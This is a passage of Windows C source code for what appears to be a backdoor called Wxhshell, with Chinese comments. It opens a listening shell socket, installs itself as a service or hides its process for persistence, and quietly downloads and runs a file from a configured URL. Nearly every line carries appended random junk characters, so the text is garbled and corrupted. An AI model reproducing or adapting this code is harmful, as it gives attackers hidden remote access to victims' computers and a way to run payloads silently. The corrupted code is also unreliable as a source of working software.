DWORD AffinityMask; 7F0J*M
DWORD BasePriority; ,'HjL:r
ULONG UniqueProcessId; RHn3\N
ULONG InheritedFromUniqueProcessId; *(1<J2j
} PROCESS_BASIC_INFORMATION;
-*KKrte
$%\6"P/64
PROCNTQSIP NtQueryInformationProcess; qMVuFwPhi
!;(Wm6~*ad
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h[iO'Vq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iYvzZ7
8f
%m f)BC
HANDLE hProcess; C.:S@{sK
PROCESS_BASIC_INFORMATION pbi; M^Z=~512g
Qx,#Hj
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G4:\6fu
if(NULL == hInst ) return 0; z"yW):X
mOh?cjOi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aWJ
BYw6{L
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !ITM:%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c}n66qJF5
OYt_i'Q
if (!NtQueryInformationProcess) return 0; fXWE4^jU
n.8870.BW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {
"Cu)AFy
if(!hProcess) return 0; 6>#8^{[
z-kv{y*Hu
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kP[fhOpn
(_ :82@c
CloseHandle(hProcess); H!7?#tRU
*,CJ 3<>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $`7Fk%#+e
if(hProcess==NULL) return 0; w (RRu~J
F*#!hWtb
HMODULE hMod; \8<[P(!3
char procName[255]; de2G"'F
unsigned long cbNeeded; )8g&lyT
nTo?~=b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z7pX%nj_
*&Iv Eu
CloseHandle(hProcess); wT- -i@@
h_P[B
if(strstr(procName,"services")) return 1; // 以服务启动 qS! Lt3+
NY<qoV
return 0; // 注册表启动 /v<Gt%3X
} BaI-ve
Q`'cxx
// 主模块 u? >x
int StartWxhshell(LPSTR lpCmdLine) =J)-#|eZG
{ >gL&a#<S
SOCKET wsl; zj2y=A|Y
BOOL val=TRUE; HxW/t7Z(
int port=0; 0iM'),v[]
struct sockaddr_in door; x?B`p"ifS
bXOM=T
if(wscfg.ws_autoins) Install(); W0mvwYON[
q9{ h@y
port=atoi(lpCmdLine); @8m%*pBg
#W/Ch"Kv
if(port<=0) port=wscfg.ws_port; "{E%Y*
}jC^&%|
WSADATA data; ,.2qh|Ol
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X=f %!
._j?1Fw`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h P WP6;Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fW=<bf
door.sin_family = AF_INET; &$2d=q8mh
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @N<h`vDa
door.sin_port = htons(port); N.Q}.(N0
LU8[$.P
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ztHx)
!
closesocket(wsl); W+8s>
return 1; p`\>GWuT!
} R#y"SxD()
wBw(T1VN
if(listen(wsl,2) == INVALID_SOCKET) { m*B4a9f
closesocket(wsl); Z*b l J5YC
return 1; \v=@'
} Zw{?^6;cS
Wxhshell(wsl); sdB(sbSF
WSACleanup(); +Tx_q1/f5X
.]4MtG
return 0; {0+WVZ4u
U}Puq5[ ?
} C GK]i.N
>L "+8N6
// 以NT服务方式启动 xj8z*fC;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j@+$lU*r
{ @^ &p$:
DWORD status = 0; w8$>
2
DWORD specificError = 0xfffffff; :t "_I
s~>1TxJe
serviceStatus.dwServiceType = SERVICE_WIN32; ,H.5TQ#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :r
"GZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
F(lJ
serviceStatus.dwWin32ExitCode = 0; O
x`K7$)
serviceStatus.dwServiceSpecificExitCode = 0; o+XQMg
serviceStatus.dwCheckPoint = 0; {' 0#<Z
serviceStatus.dwWaitHint = 0; )/Eu=+d
rx9y^E5T`;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6yAZvX
if (hServiceStatusHandle==0) return; v?,@e5GZ
.:Sk=r4u\
status = GetLastError(); -nHkO&&R
if (status!=NO_ERROR) 2cIbX
{ #M'V%^x P
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1/;E8{
serviceStatus.dwCheckPoint = 0; 0nkC%j
serviceStatus.dwWaitHint = 0; )'RaMo` 4
serviceStatus.dwWin32ExitCode = status; P{QHG 3
serviceStatus.dwServiceSpecificExitCode = specificError; Z1($9hE>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yw7(!1j=
return; 7hPwa3D^
} UA~ 4O Q]
aMHC+R1X
serviceStatus.dwCurrentState = SERVICE_RUNNING; %-K5sIz
serviceStatus.dwCheckPoint = 0; 84e8z {
serviceStatus.dwWaitHint = 0; -z-yk~F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;&}z
L.!jo
} (jyufHm
f9kdO&
// 处理NT服务事件,比如:启动、停止 uHmvHA~/c8
VOID WINAPI NTServiceHandler(DWORD fdwControl) &!WRa@x0I
{ [dFcxzM-N
switch(fdwControl) !||Gfia
{ b.?;I7r
case SERVICE_CONTROL_STOP: {m{nCl)y
serviceStatus.dwWin32ExitCode = 0; {dRZ2U3
serviceStatus.dwCurrentState = SERVICE_STOPPED; #OjyUQ,
serviceStatus.dwCheckPoint = 0; mPQT%%MF
serviceStatus.dwWaitHint = 0; wWf_d jd
{ tk h
*su
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Y8hy|`
}
$X/'BCb
return; Jn|i!
case SERVICE_CONTROL_PAUSE: BgdUG:;&
serviceStatus.dwCurrentState = SERVICE_PAUSED; kFmtE
dhsc
break; *
]bB7
case SERVICE_CONTROL_CONTINUE: QZ;DZMP
serviceStatus.dwCurrentState = SERVICE_RUNNING; #l:
1R&F
break; Piwox1T;
case SERVICE_CONTROL_INTERROGATE: uCuB>x&
break; M&faa7
}; ohe[rV>EX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ao .vB']T
} a.?U$F
~Sm6{L
// 标准应用程序主函数 >35w"a7S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _$D!"z7i
{ h.ftl2>
}KIS_krs
// 获取操作系统版本 ,tyPZR_
OsIsNt=GetOsVer(); C%]qK(9vvd
GetModuleFileName(NULL,ExeFile,MAX_PATH); #s\kF *
SRk!HuXh
// 从命令行安装 UyV5A
if(strpbrk(lpCmdLine,"iI")) Install(); $)9|"q6
"cBqZzkk9j
// 下载执行文件 Lq;iR
if(wscfg.ws_downexe) { 4L{]!dox
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > 3(,s^
WinExec(wscfg.ws_filenam,SW_HIDE); gg%)#0Zi
} ^_P?EJ,)`
Qf~$9?z
if(!OsIsNt) { z;<~j=lP
// 如果时win9x,隐藏进程并且设置为注册表启动 &Q}%b7
HideProc(); U{[YCs fk
StartWxhshell(lpCmdLine); vZ srlHb
} }}~a4p>%
else n9J{f"`m
if(StartFromService()) ^QJJ2 jZ
// 以服务方式启动 GQA\JYw|oY
StartServiceCtrlDispatcher(DispatchTable); rrj.]^E_~
else Xa?igbgAwx
// 普通方式启动 em0Y' J
StartWxhshell(lpCmdLine); kAPSVTH$v
?{`7W>G
return 0; A]i!131{w|
}